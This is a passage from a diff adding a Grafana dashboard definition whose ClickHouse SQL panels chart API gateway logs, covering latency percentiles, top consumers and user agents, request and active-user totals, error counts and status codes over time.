"limit": 100, + "mode": "list", + "orderBy": [], + "table": "gloo_api_logs" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.25)(CAST(LogAttributes['response_duration'] AS INT)) as p25\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp)\nGROUP BY time\nORDER BY time\n\n", + "refId": "p25", + "selectedFormat": 1 + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 1, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "\nSELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.5)(CAST(LogAttributes['response_duration'] AS INT)) as p50\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp)\nGROUP BY time\nORDER BY time", + "refId": "p50", + "selectedFormat": 4 + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 1, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.75)(CAST(LogAttributes['response_duration'] AS INT)) as p75\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp)\nGROUP BY time\nORDER BY time", + "refId": "p75", + "selectedFormat": 4 + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 1, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.90)(CAST(LogAttributes['response_duration'] AS INT)) as p90\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp)\nGROUP BY time\nORDER BY time", + "refId": "p90", + "selectedFormat": 4 + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 1, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.95)(CAST(LogAttributes['response_duration'] AS INT)) as p95\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp)\nGROUP BY time\nORDER BY time", + "refId": "p95", + "selectedFormat": 4 + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 1, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.99)(CAST(LogAttributes['response_duration'] AS INT)) as p99\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp)\nGROUP BY time\nORDER BY time", + "refId": "p99", + "selectedFormat": 4 + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 1, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.999)(CAST(LogAttributes['response_duration'] AS INT)) as p999\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp)\nGROUP BY time\nORDER BY time", + "refId": "p999", + "selectedFormat": 4 + } + ], + "title": "Request latency", + "transformations": [ + { + "id": "renameByRegex", + "options": { + "regex": "(.*)", + "renamePattern": "$1" + } + } + ], + "type": "timeseries" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "description": "Usage for API '$api_id' with usage plan '$usage_plan'", + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "custom": { + "align": "auto", + "cellOptions": { + "type": "auto" + }, + "filterable": false, + "inspect": false + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + }, + { + "color": "#6ED0E0", + "value": 1000 + }, + { + "color": "light-blue", + "value": 2000 + }, + { + "color": "light-orange", + "value": 5000 + }, + { + "color": "orange", + "value": 10000 + }, + { + "color": "semi-dark-orange", + "value": 20000 + }, + { + "color": "light-red", + "value": 50000 + }, + { + "color": "red", + "value": 100000 + }, + { + "color": "dark-red", + "value": 1000000 + } + ] + }, + "unit": "none" + }, + "overrides": [ + { + "matcher": { + "id": "byName", + "options": "Count" + }, + "properties": [ + { + "id": "custom.cellOptions", + "value": { + "mode": "gradient", + "type": "gauge", + "valueDisplayMode": "text" + } + } + ] + }, + { + "matcher": { + "id": "byName", + "options": "User" + }, + "properties": [ + { + "id": "custom.width", + "value": 216 + } + ] + } + ] + }, + "gridPos": { + "h": 11, + "w": 7, + "x": 0, + "y": 19 + }, + "id": 18, + "options": { + "cellHeight": "sm", + "footer": { + "countRows": false, + "enablePagination": false, + "fields": [ + "count" + ], + "reducer": [ + "sum" + ], + "show": true + }, + "showHeader": true, + "sortBy": [ + { + "desc": true, + "displayName": "Count" + } + ] + }, + "pluginVersion": "10.0.3", + "targets": [ + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "7XaPngu4k" + }, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n CAST(LogAttributes['user_id'] AS VARCHAR) as User,\n count(*) AS Count\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n LogAttributes['status_code'] IN ($status_code) AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nGROUP BY\n User\nORDER BY\n Count Desc", + "refId": "A" + } + ], + "title": "Top API consumers", + "type": "table" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "description": "", + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "custom": { + "align": "auto", + "cellOptions": { + "type": "auto" + }, + "filterable": false, + "inspect": false + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + }, + { + "color": "#6ED0E0", + "value": 1000 + }, + { + "color": "light-blue", + "value": 2000 + }, + { + "color": "light-orange", + "value": 5000 + }, + { + "color": "orange", + "value": 10000 + }, + { + "color": "semi-dark-orange", + "value": 20000 + }, + { + "color": "light-red", + "value": 50000 + }, + { + "color": "red", + "value": 100000 + }, + { + "color": "dark-red", + "value": 1000000 + } + ] + }, + "unit": "none" + }, + "overrides": [ + { + "matcher": { + "id": "byName", + "options": "Count" + }, + "properties": [ + { + "id": "custom.cellOptions", + "value": { + "mode": "gradient", + "type": "gauge", + "valueDisplayMode": "text" + } + } + ] + }, + { + "matcher": { + "id": "byName", + "options": "User" + }, + "properties": [ + { + "id": "custom.width", + "value": 216 + } + ] + } + ] + }, + "gridPos": { + "h": 11, + "w": 7, + "x": 7, + "y": 19 + }, + "id": 200, + "options": { + "cellHeight": "sm", + "footer": { + "countRows": false, + "enablePagination": false, + "fields": [ + "count" + ], + "reducer": [ + "sum" + ], + "show": true + }, + "showHeader": true, + "sortBy": [ + { + "desc": true, + "displayName": "Count" + } + ] + }, + "pluginVersion": "10.0.3", + "targets": [ + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 1, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n CAST(LogAttributes['user_agent'] AS VARCHAR) as user_agent,\n count(*) AS Count\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n LogAttributes['status_code'] IN ($status_code) AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nGROUP BY\n user_agent\nORDER BY\n Count Desc", + "refId": "A", + "selectedFormat": 4 + } + ], + "title": "Top User Agents", + "type": "table" + }, + { + "collapsed": true, + "gridPos": { + "h": 1, + "w": 24, + "x": 0, + "y": 30 + }, + "id": 11, + "panels": [ + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "description": "Total requests in this period for the API '$api_id'", + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + }, + { + "color": "#EAB839", + "value": 100000 + }, + { + "color": "red", + "value": 1000000 + } + ] + } + }, + "overrides": [] + }, + "gridPos": { + "h": 4, + "w": 4, + "x": 0, + "y": 31 + }, + "id": 4, + "options": { + "colorMode": "value", + "graphMode": "area", + "justifyMode": "auto", + "orientation": "auto", + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "textMode": "auto" + }, + "pluginVersion": "10.0.3", + "targets": [ + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n LogAttributes['api_id'] as apiId,\n count(*) AS count\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n LogAttributes['status_code'] IN ($status_code) AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nGROUP BY\n apiId\nORDER BY\n count Desc\nlimit\n 20\n", + "refId": "A" + } + ], + "title": "Total requests", + "transparent": true, + "type": "stat" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "description": "Total active users in this period", + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "light-green", + "value": null + }, + { + "color": "green", + "value": 50000 + }, + { + "color": "yellow", + "value": 100000 + }, + { + "color": "semi-dark-yellow", + "value": 250000 + }, + { + "color": "orange", + "value": 500000 + }, + { + "color": "light-red", + "value": 1000000 + } + ] + }, + "unit": "none" + }, + "overrides": [] + }, + "gridPos": { + "h": 4, + "w": 4, + "x": 4, + "y": 31 + }, + "id": 195, + "options": { + "colorMode": "value", + "graphMode": "area", + "justifyMode": "auto", + "orientation": "auto", + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "textMode": "auto" + }, + "pluginVersion": "10.0.3", + "targets": [ + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n count(DISTINCT(LogAttributes['user_id']) as userId) as userCount\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n LogAttributes['status_code'] IN ($status_code) AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri)\nlimit\n 20\n", + "refId": "A" + } + ], + "title": "Total active users", + "transparent": true, + "type": "stat" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "description": "Server error count in this period (5xx status codes)", + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "red", + "value": null + }, + { + "color": "dark-red", + "value": 10000 + } + ] + } + }, + "overrides": [] + }, + "gridPos": { + "h": 4, + "w": 4, + "x": 8, + "y": 31 + }, + "id": 68, + "options": { + "colorMode": "value", + "graphMode": "area", + "justifyMode": "auto", + "orientation": "auto", + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "textMode": "auto" + }, + "pluginVersion": "10.0.3", + "targets": [ + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n count(*) AS count\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n CAST(LogAttributes['status_code'] AS INT) >= 500 AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nORDER BY\n count Desc\nlimit\n 20\n", + "refId": "A" + } + ], + "title": "Server error count", + "transparent": true, + "type": "stat" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "description": "User error count in this period (4xx status codes)", + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "red", + "value": null + }, + { + "color": "dark-red", + "value": 10000 + } + ] + } + }, + "overrides": [] + }, + "gridPos": { + "h": 4, + "w": 4, + "x": 12, + "y": 31 + }, + "id": 55, + "options": { + "colorMode": "value", + "graphMode": "area", + "justifyMode": "auto", + "orientation": "auto", + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "textMode": "auto" + }, + "pluginVersion": "10.0.3", + "targets": [ + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n count(*) AS count\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n CAST(LogAttributes['status_code'] AS INT) >= 400 AND CAST(LogAttributes['status_code'] AS INT) < 500 AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nORDER BY\n count Desc\nlimit\n 20\n", + "refId": "A" + } + ], + "title": "User error count", + "transparent": true, + "type": "stat" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "description": "Usage for API '$api_id' with usage plan '$usage_plan'", + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "custom": { + "align": "auto", + "cellOptions": { + "type": "auto" + }, + "filterable": false, + "inspect": false + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + }, + { + "color": "#6ED0E0", + "value": 1000 + }, + { + "color": "light-blue", + "value": 2000 + }, + { + "color": "light-orange", + "value": 5000 + }, + { + "color": "orange", + "value": 10000 + }, + { + "color": "semi-dark-orange", + "value": 20000 + }, + { + "color": "light-red", + "value": 50000 + }, + { + "color": "red", + "value": 100000 + }, + { + "color": "dark-red", + "value": 1000000 + } + ] + }, + "unit": "none" + }, + "overrides": [ + { + "matcher": { + "id": "byName", + "options": "Count" + }, + "properties": [ + { + "id": "custom.cellOptions", + "value": { + "mode": "gradient", + "type": "gauge", + "valueDisplayMode": "text" + } + } + ] + }, + { + "matcher": { + "id": "byName", + "options": "User" + }, + "properties": [ + { + "id": "custom.width", + "value": 216 + } + ] + } + ] + }, + "gridPos": { + "h": 11, + "w": 7, + "x": 0, + "y": 35 + }, + "id": 170, + "options": { + "cellHeight": "sm", + "footer": { + "countRows": false, + "enablePagination": false, + "fields": [ + "count" + ], + "reducer": [ + "sum" + ], + "show": true + }, + "showHeader": true, + "sortBy": [ + { + "desc": true, + "displayName": "Count" + } + ] + }, + "pluginVersion": "10.0.3", + "targets": [ + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "7XaPngu4k" + }, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n CAST(LogAttributes['user_id'] AS VARCHAR) as User,\n count(*) AS Count\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n LogAttributes['status_code'] IN ($status_code) AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nGROUP BY\n User\nORDER BY\n Count Desc", + "refId": "A" + } + ], + "title": "Top API consumers", + "type": "table" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "fieldConfig": { + "defaults": { + "color": { + "mode": "palette-classic" + }, + "custom": { + "axisCenteredZero": false, + "axisColorMode": "text", + "axisLabel": "", + "axisPlacement": "auto", + "fillOpacity": 80, + "gradientMode": "none", + "hideFrom": { + "legend": false, + "tooltip": false, + "viz": false + }, + "lineWidth": 1, + "scaleDistribution": { + "type": "linear" + }, + "thresholdsStyle": { + "mode": "off" + } + }, + "decimals": 0, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + }, + { + "color": "red", + "value": 80 + } + ] + }, + "unit": "none" + }, + "overrides": [] + }, + "gridPos": { + "h": 11, + "w": 7, + "x": 7, + "y": 35 + }, + "id": 168, + "interval": "15m", + "options": { + "barRadius": 0, + "barWidth": 0.97, + "fullHighlight": false, + "groupWidth": 0.7, + "legend": { + "calcs": [], + "displayMode": "list", + "placement": "bottom", + "showLegend": true + }, + "orientation": "auto", + "showValue": "auto", + "stacking": "none", + "tooltip": { + "mode": "single", + "sort": "none" + }, + "xTickLabelRotation": 0, + "xTickLabelSpacing": 0 + }, + "targets": [ + { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "fields": [ + "LogAttributes" + ], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "groupBy": [ + "TraceId" + ], + "limit": 100, + "metrics": [], + "mode": "trend", + "orderBy": [], + "table": "gloo_api_logs", + "timeField": "Timestamp", + "timeFieldType": "DateTime64(9)" + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "meta": { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "fields": [ + "LogAttributes" + ], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "groupBy": [ + "TraceId" + ], + "limit": 100, + "metrics": [], + "mode": "trend", + "orderBy": [], + "table": "gloo_api_logs", + "timeField": "Timestamp", + "timeFieldType": "DateTime64(9)" + } + }, + "queryType": "sql", + "rawSql": "SELECT \n $__timeInterval(Timestamp) AS time,\n LogAttributes['api_id'] AS apiId,\n count(*) AS count\nFROM \n gloo_api_logs\nWHERE \n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n LogAttributes['status_code'] IN ($status_code) AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nGROUP BY \n apiId, \n time\nORDER BY \n time ASC", + "refId": "A" + } + ], + "title": "Requests over time", + "transformations": [ + { + "id": "renameByRegex", + "options": { + "regex": "count (.*)", + "renamePattern": "$1" + } + } + ], + "type": "barchart" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "fieldConfig": { + "defaults": { + "color": { + "mode": "palette-classic" + }, + "custom": { + "axisCenteredZero": false, + "axisColorMode": "text", + "axisLabel": "", + "axisPlacement": "auto", + "fillOpacity": 80, + "gradientMode": "none", + "hideFrom": { + "legend": false, + "tooltip": false, + "viz": false + }, + "lineWidth": 1, + "scaleDistribution": { + "type": "linear" + }, + "thresholdsStyle": { + "mode": "off" + } + }, + "decimals": 0, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green" + }, + { + "color": "red", + "value": 80 + } + ] + }, + "unit": "none" + }, + "overrides": [] + }, + "gridPos": { + "h": 11, + "w": 7, + "x": 0, + "y": 46 + }, + "id": 169, + "interval": "30m", + "options": { + "barRadius": 0, + "barWidth": 0.97, + "fullHighlight": false, + "groupWidth": 0.7, + "legend": { + "calcs": [], + "displayMode": "list", + "placement": "bottom", + "showLegend": true + }, + "orientation": "auto", + "showValue": "auto", + "stacking": "normal", + "tooltip": { + "mode": "single", + "sort": "none" + }, + "xTickLabelRotation": 0, + "xTickLabelSpacing": 0 + }, + "targets": [ + { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "fields": [ + "LogAttributes" + ], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "groupBy": [ + "TraceId" + ], + "limit": 100, + "metrics": [], + "mode": "trend", + "orderBy": [], + "table": "gloo_api_logs", + "timeField": "Timestamp", + "timeFieldType": "DateTime64(9)" + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "meta": { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "fields": [ + "LogAttributes" + ], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "groupBy": [ + "TraceId" + ], + "limit": 100, + "metrics": [], + "mode": "trend", + "orderBy": [], + "table": "gloo_api_logs", + "timeField": "Timestamp", + "timeFieldType": "DateTime64(9)" + } + }, + "queryType": "sql", + "rawSql": "SELECT \n $__timeInterval(Timestamp) AS time,\n LogAttributes['status_code'] AS statusCode,\n count(*) as count\nFROM \n gloo_api_logs\nWHERE \n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n LogAttributes['status_code'] IN ($status_code) AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nGROUP BY \n statusCode, \n time\nORDER BY \n time ASC", + "refId": "A" + } + ], + "title": "Status codes over time", + "transformations": [ + { + "id": "renameByRegex", + "options": { + "regex": "count (.*)", + "renamePattern": "$1" + } + } + ], + "type": "barchart" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "description": "", + "fieldConfig": { + "defaults": { + "color": { + "mode": "palette-classic" + }, + "custom": { + "axisCenteredZero": false, + "axisColorMode": "text", + "axisLabel": "", + "axisPlacement": "auto", + "barAlignment": 0, + "drawStyle": "line", + "fillOpacity": 8, + "gradientMode": "none", + "hideFrom": { + "legend": false, + "tooltip": false, + "viz": false + }, + "lineInterpolation": "linear", + "lineWidth": 1, + "pointSize": 5, + "scaleDistribution": { + "type": "linear" + }, + "showPoints": "auto", + "spanNulls": true, + "stacking": { + "group": "A", + "mode": "none" + }, + "thresholdsStyle": { + "mode": "off" + } + }, + "decimals": 0, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green" + }, + { + "color": "red", + "value": 80 + } + ] + }, + "unit": "none" + }, + "overrides": [] + }, + "gridPos": { + "h": 11, + "w": 7, + "x": 7, + "y": 46 + }, + "id": 149, + "options": { + "legend": { + "calcs": [], + "displayMode": "list", + "placement": "bottom", + "showLegend": true + }, + "tooltip": { + "mode": "single", + "sort": "none" + } + }, + "pluginVersion": "10.0.0", + "targets": [ + { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "database": "default", + "fields": [], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "limit": 100, + "mode": "list", + "orderBy": [], + "table": "gloo_api_logs" + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 1, + "meta": { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "database": "default", + "fields": [], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "limit": 100, + "mode": "list", + "orderBy": [], + "table": "gloo_api_logs" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.25)(CAST(LogAttributes['response_duration'] AS INT)) as p25\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id)\nGROUP BY time\nORDER BY time\n\n", + "refId": "p25", + "selectedFormat": 1 + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "\nSELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.5)(CAST(LogAttributes['response_duration'] AS INT)) as p50\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id)\nGROUP BY time\nORDER BY time", + "refId": "p50" + }, + { + "datasource": { 